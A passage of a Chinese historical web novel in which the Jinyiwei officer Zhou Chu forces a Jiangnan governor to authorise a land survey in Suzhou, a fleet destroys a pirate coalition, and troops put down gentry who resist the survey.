周楚倒也没想着隐瞒,直接说出了自己下一步的计划。 “丈量土地?下官倒是知道,我大明有许多隐田,只是这其中涉及到的利益过大。。。” 严嵩欲言又止道。 严嵩话里的意思很明显,这件事恐怕不好办。 周楚听到这话,笑了笑,要是好办,也就不用等到自己来办了。 “自宣宗之后,卫所官员不断侵占军户土地,原本军户们拥有自己的土地,完全可以自给自足,哪怕养兵百万,也不需要从朝廷支出一分一毫。” “但到了如今,卫所军制名存实亡,大明的军队全赖朝廷支出,即便如此,还有无数人在喝兵血,吃空饷和军费,我大明的军队,很多都拿不到军饷,如此一来,军队何来凝聚力?如何打仗?” 周楚冷笑道。 “这些问题存在不是一两日了,所谓积重难返。” 王阳明叹了口气道。 “介溪先生可知道这土地之中还存在什么龌龊吗?” 周楚看着眼前的严嵩,问道。 “下官倒是有所耳闻,据说很多士绅将土地隐藏了起来,如此一来隐藏的土地便可以不用纳税,大明的隐田越来越多,税收越来越少。” 严嵩迟疑了片刻说道。 周楚点了点头,又摇了摇头。 “这话对也不对,隐田是肯定有的,也越来越多,但这其中的问题远不止这些。” 周楚看着众人一脸疑惑,说道。 “当时的士绅和胥吏都是沆瀣一气的,负责丈量土地的胥吏,一个个都是有些手段的,给百姓丈量土地的时候,一亩地量成一亩二分,如此一来,百姓原本一亩地却需要缴一亩二分的税。” “给这些士绅量地的时候,一亩地可能只量成八分甚至七分,少出来的那部分就平摊到百姓头上,如此一来,百姓交不起税,便只能将自己的地献给士绅,再从士绅手中租地耕种。” “他们便是通过这种手段,不断兼并土地的。” 周楚说这话的时候,眼神之中满是寒光。 王阳明等人听到这话,都是满脸忧虑,越听周楚说,他们便越觉得大明存在的问题实在是太多,太严重。 多到如果让严嵩或者张璁去做,他们甚至不知道该从何处入手。 “衡器是打算从江南开始着手吗?” 王阳明问道。 周楚点了点头。 “倘若江南能丈量清楚,其他地方也就容易一些了。” 周楚很清楚这其中会有多大的阻力,但这件事是必须要去做的,否则会越来越严重。 至于书院的事,倒是周楚提前布下的一步棋,种下一颗种子。 这颗种子想要生根发芽,还要很多年,书院不过是为大明的未来留下一丝希望,想要发展科技?起码还得几十年吧。 这不是一代人能解决的问题。 周楚更多的是要着眼于眼下,把能解决的问题尽量多的解决掉。 “衡器所想,皆是为国为民,说来惭愧,在下想想自己虚度半生,却无甚作为,此次如果能中举,来年便进京赶考,哪怕能帮上衡器一二,也算是极好的。” 文徵明此时才感觉到自己这个学生肩上的担子有多重,他只是听听就感觉有些喘不过气来了。 周楚听到这话,心中很是欣慰,别人说这话,他只会以为这人在贪图权位,但文徵明说这话,周楚是相信的。 原本的历史上,文徵明好不容易被人举荐,以贡生身份入仕,却干了没多久就请辞了。 他原本对当官入仕不甚在意,之所以执着于科举,想来是想要证明一下自己的才学。 其实根本无需证明,谁不知道他文徵明的才学,只不过作为好友的唐伯虎当年连中三元,让他有些不服气罢了。 “那你就加把劲,我是不行了,我也想明白了,衡器说的很对,就我这脾性,也不适合入仕。” 唐伯虎洒脱一笑道。 “老爷,抚台大人崔文奎崔大人正在门口,说是来祝贺老爷喜得贵子。” 众人正相谈甚欢之时,唐府的管家来到唐伯虎跟前说道。 周楚一听这话,顿时来了精神。 第126章 低声下气崔文奎,得寸进尺周衡器 原本还人声鼎沸的唐府,在得知江南省的巡抚崔大人来到唐府的时候,顿时陷入了诡异的寂静之中。 如果说大部分人对于王阳明这个南直隶的巡抚还没什么直观感受的话,那么对这个掌管着多年江南省的抚台大人,他们可谓是如雷贯耳。 当然,大多数人也只是听过崔文奎的名声,平日里根本见不到。 极少数偶尔见过的,心中更是掀起了惊涛骇浪,他们可是见识过这位崔大人那惊天的排场以及威势的。 别说是崔大人,那时候他们站在路边,连头都不敢抬,哪怕是这位崔大人手下的一个小官,也不是他们敢直视的。 他们想不明白,唐伯虎何德何能,让两个抚台大人都来祝贺,这种人脉他们别说想了,就是做梦都不敢梦到。 崔文奎是一个人来的,只带了两个侍卫,并没有其他人随从。 他此次前来,主要是为了向周楚示弱,至于目的,自然是为了救出他的大哥和侄女。 崔文山和崔婷婷父女两人被关在锦衣卫所已经有些日子了,两人出恭都有人看着,再加上这些天没有衣服换,即便苏州府是冬天,但空气相对潮湿,父女两人也早已受不了了。 不过他们却没有一点办法,此时的两人哪里还有当初的嚣张劲,面对锦衣卫的时候都学会赔笑了,生怕这些锦衣卫看他们爷俩不顺眼,教训他们一顿。 这种事不是没发生过。 崔文奎和周楚闹崩了之后,最担心的就是自己的大哥和侄女了,他这些天每晚都睡不好,就怕哪一天周楚心情不好,对他的大哥和侄女动手。 这些天他一直在寻找合适的机会,想着向周楚低个头,看看能不能先把自己的大哥和侄女救出来,公归公,私归私,他想对付周楚和他想救出来自己的大哥和侄女,本质上并不冲突。 无非就是利益的置换罢了,周楚这么久以来一直没动手,崔文奎也清楚,这个锦衣卫百户就是等着自己求上门,好提条件。 即便是清楚,崔文奎也没办法泰然处之,实在是关心则乱。 “王大人,周大人,没想到会在这里遇到两位,真是幸会。” 崔文奎看到王阳明倒是有些意外,不过他原本就是冲着周楚来的,此时却装作不知道的样子,不得不说,演技这方面,没人比得过当官的。 “崔大人。” 王阳明也只是回了一礼,并未多言。 不过崔文奎并未因此生气,他早就听说过王阳明是什么样的人。 “我老师的大事,我岂能不在,倒是崔大人似乎和老师没什么交集吧?” 周楚神情玩味道。 周楚大概知道崔文奎是为何而来,实际上他早就等着崔文奎上门求自己了。 崔文奎能忍到今日,也算他城府深。 “周大人此言差矣,唐解元的大名,别说是在苏州府了,即便是整个江南人,也是家喻户晓,唐解元如此大事,我这个作为巡抚的,岂有不来之理?” 崔文奎之所以这么说,之所以挑了今天这个日子来,无非是想让自己面子上更能过得去一些。 毕竟在这里偶遇,说出去他面子上也好听一些。 如果是他登门去求周楚,要是传出去,他的脸面还要不要了? 这个脸面,周楚倒也不准备撕破,撕破了也没什么好处,反倒是现在这样,一会谈起来,自己更能掌握主动权。 “崔大人,快请入座。” 唐伯虎此时也喝的有些微醺了,毕竟是他的大喜日子,本身又有些嗜酒,喝多一些也很正常。 不过即使微醺,他也能看得出这个崔文奎是来找周楚的,他先是看了看周楚,看到周楚不着痕迹地点了点头之后,这才请崔文奎入座。 “周大人,在下有一事相求。” 坐下之后,崔文奎便不再演了,也不在乎同桌的其他人怎么看他,他很清楚,能坐这一桌的,没有周楚的同意,是不会把这件事往外传的。 此时其他桌的人很多都在悄悄观察着周楚这一桌,毕竟这一桌在他们看来,除了文徵明和祝枝山,随便拿出来一个都是大人物。 一般他们哪有机会和这种大人物这么近距离接触? 当他们看到崔文奎对周楚的态度有些谦卑,甚至是哀求的时候,这些人一个个都瞪大了双眼,甚至有些急忙转过头去,不敢再看。 转过头去的这些心里都怦怦直跳,心里想的是抚台大人这一面让自己看到了,不会被他秋后算账吧? 同时内心对刚才的那一幕,感到无比惊骇,原本他们因为王阳明和严嵩等人,已经尽量高估这位唐伯虎的弟子了,但刚才的一幕再次刷新了他们的认知。 崔文奎是谁啊?抚台大人,在整个江南省,用一句只手遮天来形容这位丝毫不为过,但就是这么一位封疆大吏,面对这个锦衣卫百户的时候,居然是这种谦卑的态度。 一时之间,很多人都感觉自己的脑子转不过圈来了,他们实在是想象不出周楚到底是何等身份。 “崔大人有话直说便是,何必拐弯抹角?” 周楚自顾自的吃喝,并没有给崔文奎什么好脸色。 “周大人能否高抬贵手,放过我大哥和我那不懂事的侄女一马?” 崔文奎低声道。 “崔大人为何说出这种话,令兄带人围攻锦衣卫所,本官说一句他聚众谋反不为过吧?” 周楚端着酒杯,满脸玩味地看着眼前的崔文奎。 倒不是周楚故意给崔文奎脸色看,倘若周楚真想这么做的话,刚才就能当众落了崔文奎的面子。 只是崔文奎坐下之后,这么上下牙一碰,就想着把这些事揭过,周楚自然是不会答应的。 “令侄女纵马行凶,骄横跋扈,致使数位百姓受伤,而且还不止这一次,这也是事实吧?” 周楚继续追问道。 “按大明律,这两样哪一样不是重罪?崔大人虽然贵为一省巡抚,却也不能让本官无视大明律吧?” 崔文奎听到这话,心中暗恨,却毫无办法,他很清楚周楚这话的意思,不拿出让他心动的条件,这事就不用谈了。 “不知周大人要如何才肯放过他们父女二人。” 崔文奎强忍着怒意,赔笑道。 “崔大人这么说,倒也不是没有办法,本官听说令兄兼并了苏州府很多百姓的土地,仅仅土地就不下于十万亩。” 周楚似笑非笑道。 这便是周楚提出来的条件,这十万亩土地交出来,这事还有的商量。 即便是崔文奎早就料到周楚会狮子大开口,却也没想到他的胃口这么大。 “十万亩地,周大人就不怕撑着?” 崔文奎反问道。 他以为周楚是要将这些土地纳为己有。 “崔大人说的什么话?这些土地,本官自然是要拿出来分给百姓和江南省的军户们,本官一心为民,又怎么会像崔大人兄长这般无法无天?” 周楚说到后面的时候,脸色变得极为严肃,语气也变得严厉起来。 “周大人,你可想清楚这么做的后果了吗?” 崔文奎此时哪里还不明白周楚想做什么,但他更清楚,周楚一旦这么做了,将会被整个江南的士绅阶层所不容,没人愿意让他开这个口子。 “本官自然知道自己在做什么,不需要崔大人操心,本官只想知道,这十万亩地,崔大人舍不舍得?” 周楚继续追问道。 听到这话,崔文奎反而笑了。 “周大人以为,是我大哥强行抢夺百姓的土地吗?那些百姓都活不下去了,自动把地献给我大哥的,大人这么做,恐怕吃力不讨好,那些百姓未必领情。” “这就不劳崔大人担心了,本官自有办法。” 周楚回道。 “好,这些地我替我大哥做主,让给周大人。” 崔文奎最终不得不松口,地和人之间,他很容易做出选择,地没了可以再弄,人没了就真的没了,更何况崔家的钱财无数,想买多少地买不来? 在崔文奎眼中,没什么比他大哥一家的安危更加重要。 “崔大人别急,本官还有一个要求。” 周楚笑道。 “你!周大人不要得寸进尺。” 崔文奎脸色一变道。 第127章 周楚的逼迫,玄武军遭遇海盗军团 最终,崔文奎还是妥协了。 “周大人说吧,什么要求?” 周楚听到这话,并不意外,崔文奎既然已经答应了拿出十万亩地,就不在乎再多答应自己一个条件。 “崔大人给本官开个公文,让本官带领锦衣卫丈量苏州府的土地。” 周楚说出了自己的要求。 周楚并不打算一开始就把步子迈的太大,先从苏州府开始尝试,看看各方反应。 倘若苏州府可以顺利实施,那么再推广到整个江南。 崔文奎听到这话,脸色变得极为难看,这个要求根本就是把他架在火上烤。 到时候周楚拿着他的公文,到处张贴布告,苏州府那些当官的知道这些肯定是周楚做的,但那些士绅,以及苏州府以外的呢? 谁会相信一个锦衣卫百户能做出这么大的事?谁会相信一个锦衣卫百户权势滔天? 那些士绅只会认为他这个巡抚才有这种能量和本事,但凡崔文奎答应了周楚这个要求,那便是没屎也是屎了,根本说不清。 虽说他是江南省巡抚,在周楚来苏州府之前算得上只手遮天,但那都是因为他代表的本就是江南士绅的利益,所以他才能只手遮天。 倘若和士绅阶层走向对立面,他这个巡抚,也就成了空中楼阁,失去了权力的来源。 没错,他这个江南省巡抚大部分的权力从来不是来自皇帝和朝廷,而是来自这些江南士绅。 崔文奎很想拒绝,但看着周楚眼神之中那充满威胁的意味,崔文奎却无论如何都说不出口。 他很清楚,自己一旦拒绝,自己的大哥和侄女就完了。 这种事很好处理,这么冷的天,两个人被关押在锦衣卫所,冻死、病死,都是说得过去的,周楚甚至不需要为此承担任何责任和后果。 毕竟锦衣卫所抓崔文山和崔婷婷的理由完全合理合法,即便是关押的地点不符合法理,却也是有的是理由能推脱过去。 周楚这一招釜底抽薪不可谓不狠,一方面可以让崔文奎为自己挡刀,另一方面还可以大大降低崔文奎在江南的威信和权力。 “周大人可否容本官考虑一二?” 崔文奎一时之间心乱如麻,实在下不去这个决心,便想着能不能往后拖一拖,考虑好了再给周楚答复。 但周楚又岂会给他时间考虑,正所谓快刀斩乱麻,考虑的越久,变数越大,到时候恐怕就算崔文奎想答应,他身边的人知道了也不会让他答应。 “既然崔大人没有诚意,那便算了。” 周楚脸色一变道。 “周大人,不是本官不想答应,实在是此事兹事体大,没有皇上的旨意,本官又岂敢贸然做主?” 崔文奎眼看周楚要离开,顿时急了,将这件事推到了皇帝身上。 似乎早就预料到崔文奎会这么说,周楚听到这话,慢露笑容。 “沈炼,将陛下的圣旨拿来。” 关于丈量土地的事,周楚在之前的密奏之中都会顺带着提起,上次弹劾崔文奎,更是着重说了这件事,嘉靖眼看着周楚要拿到兵权了,自然没有再拒绝的理由。 这封圣旨和让王阳明接管江南兵权的圣旨是先后脚到的。 崔文奎没想到周楚准备的如此充分,一时之间,再也想不到拒绝的理由了。 正在周楚和崔文奎来回拉扯的时候,安南海岸线上,湄公河出海口,云瑾的玄武军船队正在和六七十艘海盗船对峙。 这数十艘海盗船来自周边海上数个比较大的海盗团。 这些海盗团都有一个共同特质,他们都是江南那些人供养的,完全为江南走私集团服务的。 这段时间江南商会的走私船屡屡被劫,只见到出海的,却见不到回来的,江南商会的人自然不会坐以待毙。 经过几次商议之后,江南商会的会长李贤决定出动他们在海上的所有海盗团,来围攻最近这个声名鹊起的玄武海盗团。 整个江南商会在海上养着十几个大型海盗团,每一个海盗团都有最少七八百人。 加起来总共有六七十艘船,海盗上万人。 在李贤看来,用这么多人围攻一个玄武海盗团,有些大材小用了,不过谁让这玄武海盗团过于嚣张,完全不讲规矩,惹怒了江南商会的所有人。 除了楚辉祖。 楚辉祖第一时间就把这个消息传递给了周楚,周楚则让人通过水路以最快的速度将这个消息送到了当时还在安南的云瑾手上。 云瑾得到消息的时候,这些海盗团甚至还没有得到江南商会传过来的消息。 得到消息的云瑾当即整饬兵马,严阵以待,至于安南,云瑾早已让黎椿将原本隶属于黎朝的军队直接遣散了。 再加上黎椿亲眼目睹了玄武军团恐怖的战斗力,完全没了反抗的心思,左右还能混个国公,享一生荣华富贵,也比之前整日被莫登庸欺压强得多。 云瑾的玄武军,虽然船不多,人数也远不如这么多海盗团加起来的多,但无论是单体战力,亦或是船上的子母连环炮,都足以让玄武军碾压这些海盗团。 这些海盗团在海上是海盗团,进入大明境内那就是倭寇,其中有一小半都是东瀛人。 他们完全是靠着手中的刀,别说火炮了,连战甲都没有,顶多就是穿一些自制的藤甲,防御力极低。 这群海盗团,为首的是雄狮海盗团,雄狮海盗团的首领是一个福建人,叫王雄,常年混迹于海上,想着靠自己累计够了足够的钱财之后,他的儿子孙子就可以洗白上岸。 至于身契?自然会有人帮他们解决。 张子义的爷爷便是如此。 原本他还对江南商会如此大张旗鼓的将他们这些海盗团聚集在一起有所不满,觉得江南商会未免太过小题大做,但当他远远的看到对面为首的那艘宝船的规模以及船上那一套套反光的战甲,以及船上那一个个黑洞洞的炮口的时候,王雄脸色巨变。 “不对,这他娘的是海盗团?” 第128章 玄武军的恐怖战力,清丈土地遭遇阻拦的周楚 当目标船队进入全都进入射程以内的时候,云瑾并没有立刻下令射击,而是让自己这边的船往那几十艘海盗船再靠近一些。 直到离得很近了,近到对方的人已经能看到自己这边的炮口的时候,云瑾果断下令开始以最大火力开炮。 这两个月的时间,又从苏州府运过来六七十门子母炮,加上之前的,玄武军的子母炮已经超过了一百门,在云瑾的特意调整之下,王雄等人面对的这一面,至少有六十门火炮。 当王雄看到一枚枚炮弹呼啸而来的时候,虽然意识到大事不妙,但为时已晚。 王雄以及一众海盗团完全没意识到玄武军根本不是海盗,所以根本没想过玄武军的船上会有火炮,再加上云瑾的刻意遮掩,导致王雄等人看到炮口的时候,双方之间的距离已经极近了,只有不到一百米了。 而子母炮的有效射程甚至能达到八百米左右。 如此近的距离,再加上敌方几十艘船之间的距离很小,无比密集,玄武军之中的炮手闭着眼睛都能打中。 子母炮之所以叫子母炮,是因为分为子炮和母炮,射出去一发之后,可以直接更换子炮,实现连续射击。 虽然单发威力可能不如红衣大炮,但论持续作战的能力,却不是红衣大炮能比的。 六十多门火炮直接火力覆盖,仅仅是第一轮齐射,就直接打沉了好几艘海盗船,其他的海盗船也都损伤惨重。 王雄所在的船虽然没有第一时间被击沉,却也摇摇欲坠,他看着近在咫尺的敌船,明白自己大意了,此时想要再往后退肯定是来不及了,掉头需要时间,而且火炮的有效射程很远。 想要在船被击沉之前跑出火炮的射程,简直是痴人说梦。 “全速前进,登上敌船,白刃战。” 王雄怒吼道。 不过他的声音在一声声炮声之中根本传不出去,他急忙从旗手手中抢过旗子,开始指挥战船向玄武军方向全速前进。 剩下的几十艘战船也意识到了逃跑绝非明智之举,一起冲过去,说不定还有活路,于是纷纷顶着猛烈的炮火往前冲锋。 即便是子母炮,更换子炮也需要时间,不能无限发射,玄武军仅仅进行了四轮齐射,让海盗船折损了近一半,剩下的一半海盗船虽然已经残破不堪,却晃晃悠悠地冲到了跟前。 船上的海盗纷纷开始爬船。 原本船上正在闲着的玄武军一个个纷纷来了精神,手持燧发枪开始无差别射击。 一时之间,这些海盗的惨叫声不绝于耳,那些企图爬上宝船的海盗纷纷被射杀。 宝船附近的海水很快就变成了血红色。 宝船要比一般的船高很多,这些海盗还没爬上去就被射杀了。 但其他的那些抢来的商船却不如宝船这般高大,很快就被一众海盗趁乱摸了上去。 那些海盗好不容易爬上船,看着船上一个个武装到牙齿的玄武军士兵,全都傻眼了。 玄武军却不惯着他们,纷纷执刀开始杀戮。 和燧发枪相比,他们更喜欢用刀杀敌。 玄武军各司其职,有人负责火炮,专门盯着想要跑路的船轰击,有人负责用燧发枪射杀想要爬船的海盗,那些小船上的玄武军则开始了近战厮杀。 双方地战斗从一开始就注定了不对等,实力完全不在一个层面上,完全是玄武军的屠杀。 云瑾之所以将这些人放这么近才动手,为的就是防止有活口跑出去。 六七十艘船,在远距离一哄而散的话,她还真没什么好办法。 现在就不一样了,对方轻敌冒进,这么近的距离,跑都跑不掉,只能短兵相接。 这就为玄武军团全歼他们创造了有利的条件。 海上不是陆地,海上没有船,根本不存在逃跑的可能。 经过了近半天的战斗,玄武军终于将这些海盗全歼了。 “将这些倭寇的头都割下来,回头为你们请功。” 云瑾看着满脸兴奋的玄武军士兵,说道。 玄武军听到这话,一个个无比振奋,纷纷开始打扫战场。 玄武军虽然不在大明明面上的战斗序列之内,却是大明正儿八经的军队,斩杀这么多倭寇,自然可以拿去请功。 不过这些战功暂时不能对外宣扬,只能暗中封赏。 另外一边,崔文奎最终还是妥协了。 他不得不妥协,如果这世上他最在乎什么,不是功名利禄,而是他的大哥以及崔文奎自己的家人。 按照官场上的规矩,一般都是祸不及家人的,当然,也有很多不讲究的。 但崔文山这事,还真怪不了周楚,完全是他们父女俩昏了头了,犯下了如此弥天大罪。 周楚没有直接抄了崔文山的家,已经是很讲规矩了,对于周楚的做法,任何人都挑不出毛病来。 周楚怕崔文奎反悔,当即让林鹿和沈炼跟着崔文奎去巡抚衙门走了一趟,直接把公文写完盖了章拿了回来。 至于崔家的十万亩地的地契,崔文奎表示明日就让人送来。 唐府的喜宴宾主尽欢,特别是唐伯虎的那些个亲朋,一个个都感觉赚大了,能和这么多大人物同在一个屋檐下吃饭,往后都是吹嘘的资本。 第二天一早,崔文奎就让人抬着两箱子地契,来到了锦衣卫所。 “这些便是约定好的地契,请周大人查验吧。” 崔文奎说道。 周楚听到这话,也不含糊,示意陈昭让人仔细查验。 “崔大人不必着急,按照约定,只要这些地契没问题,等崔大人和阳明先生交接完兵权,令兄父女我自会放了。” 周楚笑道。 “希望周大人能说到做到。” 崔文奎说完这话,便拂袖而去。 兵权注定是留不住的,这一点他倒是懒得和周楚争论,如非必要,崔文奎是一刻都不想面对周楚,此人简直是个吃人不吐骨头的魔王。 如此又过了三日,崔文奎和王阳明终于把军队交接完毕,所有的文书都下发到了各个衙门,兵符也交到了王阳明手上。 “按计划做吧。” 周楚眼看着万事俱备,看向了一旁的陈昭道。 陈昭听到这话,当即带领一众手下开始在苏州城内四处张贴布告。 布告的内容也很简单,即日起锦衣卫将奉巡抚大人之命,开始清丈苏州府的土地。 此消息一出,顿时在苏州府引起了轩然大波。 苏州府的士绅们一个个顿时不干了,纷纷来到巡抚衙门想要逼问崔文奎到底是何用意? 崔文奎很清楚这种事根本解释不清,而且他也没办法解释,毕竟有圣旨在,他这么做也算是按照圣旨办事。 倘若他此时试图推卸责任,朝廷第一个不答应。 所以崔文奎早早地就躲了起来,根本没在巡抚衙门,来个眼不见心不烦。 这些士绅眼看找不到崔文奎,便纷纷带上一群人,来到了周楚正在让人丈量土地的地方。 “诸位这是何用意?” 周楚看着眼前乌泱泱上万人站在自己面前的田地之中,似乎想用这种方式阻止自己清丈土地。 “你们锦衣卫凭什么清丈土地?这本就不是你们锦衣卫该干的活。” 为首的一个年纪很大,须发皆白的老头一副居高临下的姿态训斥道。 “我锦衣卫该干什么,还轮不到诸位指手画脚,诸位若是再不让开,就别怪本官不客气了。” 周楚冷笑道。 “我等倒是想看看你怎么个不客气法,黄口小儿,也敢在我等面前嚣张,我等数万人,你能把我们怎么样?” 老头愈发嚣张道。 周楚听到这话,面色顿时兴奋了起来。 “既然诸位给脸不要脸,那就都不要走了。” 第129章 周楚调兵,后怕的崔文山,快刀斩乱麻的周楚 在这些士绅们看来,周楚不敢把他们如何。 毕竟法不责众,他们每一家都带了几十位家奴,所有人加起来已经上万,并且还有其他士绅正带着人源源不断的赶过来。 他们可不是底层的百姓和流民,哪怕是江南巡抚崔文奎面对这么多士绅同时施压,恐怕也不得不低头。 所以这些人是有底气的,毕竟眼前的不过是区区一个苏州府锦衣卫所,官职最高的也不过是个千户。 这些锦衣卫往日他们从未放在眼里过。 江南这些士绅之所以如此无法无天,还有一个原因,大明的各地都有藩王坐镇,偏偏南直隶和江南没有任何藩王。 再加上朝廷对地方的掌控力度越来越弱,整个江南几乎成了一个国中之国,形成了一个巨大的利益集团。 在整个江南,与其说是崔文奎只手遮天,倒不如说有着这些士绅支持的崔文奎才能做到只手遮天。 “老夫倒要看看,区区锦衣卫,在这苏州府还能翻了天不成?” 为首的老头一脸从容道。 “哦?你的意思是,在这苏州府,你们便是天?” 周楚不动声色的给老头挖坑道。 “哼,还真是个牙尖嘴利的小儿,老夫可不曾说过这等大逆不道之言,今日老夫在这里,你等就量不了这里的地。” 老头人老成精,自然不会往坑里面钻。 “诸位,别怪本官没有警告过你们,诸位在此妨碍公务,一刻钟之内如若不退出去,后果自负。” 周楚懒得再和老头说车轱辘话,看向眼前乌泱泱的人群,怒喝道。 “大人如果非要丈量土地,就从我等的身上踏过去。” “我等不可能离开。” 。。。。。 周楚这话一出,面前的上万人顿时人声鼎沸,仗着人多便开始叫嚣。 面对眼前这些嚣张无比的士绅们,周楚丝毫不恼,而是将手中的兵符递给了身后的沈炼。 “你去军营之中调两万兵马过来。” 这兵符正是王阳明交给周楚的,当然,这件事是经过了皇帝的授意,否则私下递交兵符,只会是取祸之道。 此时,躲在崔文山家中的崔文奎得到消息,知道那些士绅都去围堵周楚了,顿时感觉眼皮子直跳,心中顿感大事不妙。 “应宿,你为何脸色这么难看?” 崔文山在一旁眼看着自己的弟弟脸色变得这么难看,对崔文奎极其熟悉的他,瞬间意识到可能发生了不好的事。 “大哥,你有所不知,为了救你和婷婷出来,我给那周楚签了一纸丈量土地的文书,这件事惹怒了苏州府的所有士绅,那些士绅找不到我,上万人去围堵周楚了。” 崔文奎脸色愈发难看道。 “这不是好事吗?正好给那个周楚一个教训,省的他不知天高地厚。” 崔文山不解道。 在崔文山看来,整个江南省,谁敢惹这些士绅,这些士绅要是联起手来,自己的这个巡抚弟弟都要退避三舍,此时他来自己府上,不正是躲着这些士绅吗? 崔文奎听到这话,看了看自己的大哥,一脸无奈,心想这也怪不得大哥,实在是很多信息他并不清楚。 “大哥,你太小看这周楚了,当初他在京城的时候可不是一个区区百户,而是锦衣卫指挥使,他拼了自己指挥使的官职不要,抓了京城近一千名官员,其中大部分被抄家流放,少数被他直接杀了,这人就是个疯子,活阎王。” 崔文奎叹了口气道。 他很清楚,所谓的法不责众,在周楚这里根本就不适用,别说不到一千个士绅集结上万家奴闹事了,就算是上千个官员,崔文奎都怀疑这周楚不会有丝毫犹豫。 崔文山听到这话,倒吸了一口凉气,他猜到这个周楚来头可能不小,却没想到周楚居然敢如此胆大妄为。 “那也是在京城,他现在不过是区区一个锦衣卫百户,在这苏州府还能翻了天不成?” 崔文山心中很是不解,为何自己的弟弟对这个锦衣卫百户如此忍让,这其中到底有什么自己不知道的信息。 “区区百户?” 崔文奎听到这话,已经懒得吐槽了。 “大哥可知道你嘴里的这个区区百户,悄无声息的便灭了井上三郎那群倭寇,甚至一个逃出来的都没有,井上三郎现在还在他手上。” “你可知道,就是这个区区百户,我让王淮带领四五千私兵去围攻他家,结果这四五千私兵被全歼,无一活口。” 崔文奎每多说一句,崔文山就感觉头皮一麻。 等崔文奎说完之后,崔文山顿感脊背发寒,冷汗都下来了。 此时他才明白,自己能活着回来,是多么幸运的一件事。 这种屠夫,杀他们父女,不过是顺手的事,甚至只需要将自己父女两人将乱军之中随便一丢,死了也就死了。 “那这些士绅。。。” 崔文山欲言又止道。 “管不了这么多了。” 崔文奎叹了口气道。 现在他能管的只有自己和大哥一家,至于这些士绅,恐怕自己就算去劝了,也不会有人听,不会有人当回事。 毕竟在这些士绅们看来,丈量土地本就是他主张的。 无解。 此时崔文奎才明白周楚这个锦衣卫百户到底有多恐怖。 倘若这个年轻人在朝堂之上和他们玩,崔文奎相信,再来十个周楚,也不够他们玩的。 但偏偏这个年轻人避开了他们所有的优点,轻易不与他们交涉,一旦交涉的时候,往往是在他占据绝对上风的时候,这个时候交涉已经不能算是交涉了,完全是他单方面的威胁。 甚至到如今,京城百姓都把周楚当成了迫害百官的奸臣,这个年轻人却也沉得住气,从未想过因此向百姓解释什么。 其实无论是崔文奎还是其他官员,都希望周楚更在意自己的形象,在意百姓如何看待自己的,那样的话,他就有了弱点,或者说他们更希望周楚和他们打舆论战,玩文字游戏。 这些才是他们最擅长的东西。 无论是官场上的机锋,亦或是其他字面上的东西,都是文官们最擅长的,周楚一旦和他们玩这些,便是以己之短攻敌所长,文官们有的是办法将周楚拖入泥沼。 但周楚完美的避开了这些东西,做事往往不按常理出牌,快刀斩乱麻。 但凡周楚的刀没有那么快,崔文奎这些人都有办法将他缠住。 正当崔文奎兄弟两人束手无策的时候,沈炼已经调来了两万兵马。 原本还有恃无恐的苏州府士绅们,看着眼前慢慢压过来的两万大军,一个个脸色都变了。 第130章 拿钱捞人,大赚特赚的周楚,山雨欲来风满楼 虽然此时的士绅加上家奴加起来已经超过了两万人,但他们可不认为自己这两万人能和眼前这些大军打。 根本不在一个层面上,一旦开打,根本不用接触,他们这边就溃散了。 更何况这些士绅们内心从来都没想过正面冲突,原本想的也只是将周楚以及锦衣卫逼退,此时看到周楚似乎准备玩真的,一个个都怂了,很多士绅都在不着痕迹地往后秒,似乎在找逃跑的路径。 毕竟这么多人,不提前看好路,一会跑都跑不掉。 “诸位,方才本官已经给过你们机会了,既然诸位不知珍惜,那就都留下吧。” 说完这话,周楚举起兵符。 “全军列阵,活捉所有人,胆敢反抗者,杀无赦!” 周楚这话一出,两万大军纷纷拔出佩刀,这些江南省的驻军,平日里除了训练之外,不会拿其他武器,但腰刀是必备的。 此次调兵原本就不是上战场,腰刀足够了。 “杀!” 数万士兵手执战刀爆喝的场面实在是过于惊人,即便这些士兵远不如虎贲军和玄武军,但数量在这里摆着,整个场面也足够震撼了。 特别是那些原本嚣张的士绅和恶奴,此时一片慌乱,这些人并不团结,甚至连乌合之众都算不上,很多见势不妙,开始慌忙逃窜,慌不择路。 但他们人数又太多,站位太过密集,一时之间,居然发生了踩踏事件。 周楚在一旁看的都直摇头。 这些士兵可不会因为他们认怂就放过他们,毕竟周楚没有给他们停止进攻的命令。 于是两万大军在将领和一众千夫长的指挥下开始迅速对这些人进行合围。 那些已经跑出去的,则被单独派出去的小队追击。 仅仅片刻,就有一两千人跑了出去,剩下的则因为互相拥挤踩踏,很快被大军围在了中间。 周楚给了陈昭一个眼色,陈昭顿时会意,率领锦衣卫开始追击帮助军队追击那些逃出去的士绅恶奴。 锦衣卫都是骑马来的,速度远不是步兵和那些士绅能比的,在锦衣卫的配合下,那些四散奔逃的士绅们,很快就被抓住了大半,剩下一小部分还在不断奔逃。 在追击的过程中,胆敢反抗的,无论是锦衣卫还是士兵,都不会惯着他们,直接杀无赦,一时之间人头滚滚。 剩下那些没来得及跑的士绅们看到这一幕,心都凉了,急忙抱头蹲下,生怕自己因为什么动作引起锦衣卫或者军队的误解而被砍杀。 杀了一千多人之后,再也没有任何人敢逃窜或者反抗了,纷纷有样学样,蹲下抱头,等待锦衣卫的处置。 “全部带回军营。” 周楚骑着乌骓马,来到这些人面前,扫视了一圈之后说道。 此时这些士绅一个个变得无比老实,那一千多人的鲜血让他们认清了现实,让他们清醒了,让他们明白一个道理,这个世界,终究是拳头大的说了算。 原本面对周楚无比嚣张的士绅们,此时甚至都不敢抬头看周楚一眼,生怕被周楚注意到。 此时这近两万人,温顺的像一群绵羊,甚至不需要怎么费力,就被周楚的人赶入了军营之中。 倒不是周楚非要将这些人带到军营之中,实在是因为其他地方放不下这么多人。 只有军营之中能容得下,周楚下令,让之前参与战斗的士兵一人认领一个,一对一盯着。 “大人,有何吩咐?” 总兵许铭来到周楚面前,恭敬道。 一开始,这位总兵得知是这位锦衣卫百户调集了两万大军,心中还有些不服气,但是当他看到周楚下令让他们直接抓了这些士绅,甚至反抗之人全部斩杀的时候,许铭惊了。 这等事,别说是他,就算是一个统兵五万的将军,也不敢做,此事兹事体大,事后该如何向朝廷交差? 但眼前这个年轻人不止做了,而且苏州府的锦衣卫还全都听他指挥,苏州府的锦衣卫千户陈昭他是认识的,在这个年轻人面前听话的像个孙子。 所以此时许铭一点都不敢小瞧眼前的这个年轻人,甚至有些敬畏。 “将这些人的身份一一登记造册,通知下去,胆敢谎报身份的,直接军法处置。” 周楚面露寒光道。 许铭听到这话,心中一紧,所谓的军法处置,那便是砍头,他没想到眼前的这位大人杀心如此之重。 “是,大人!” 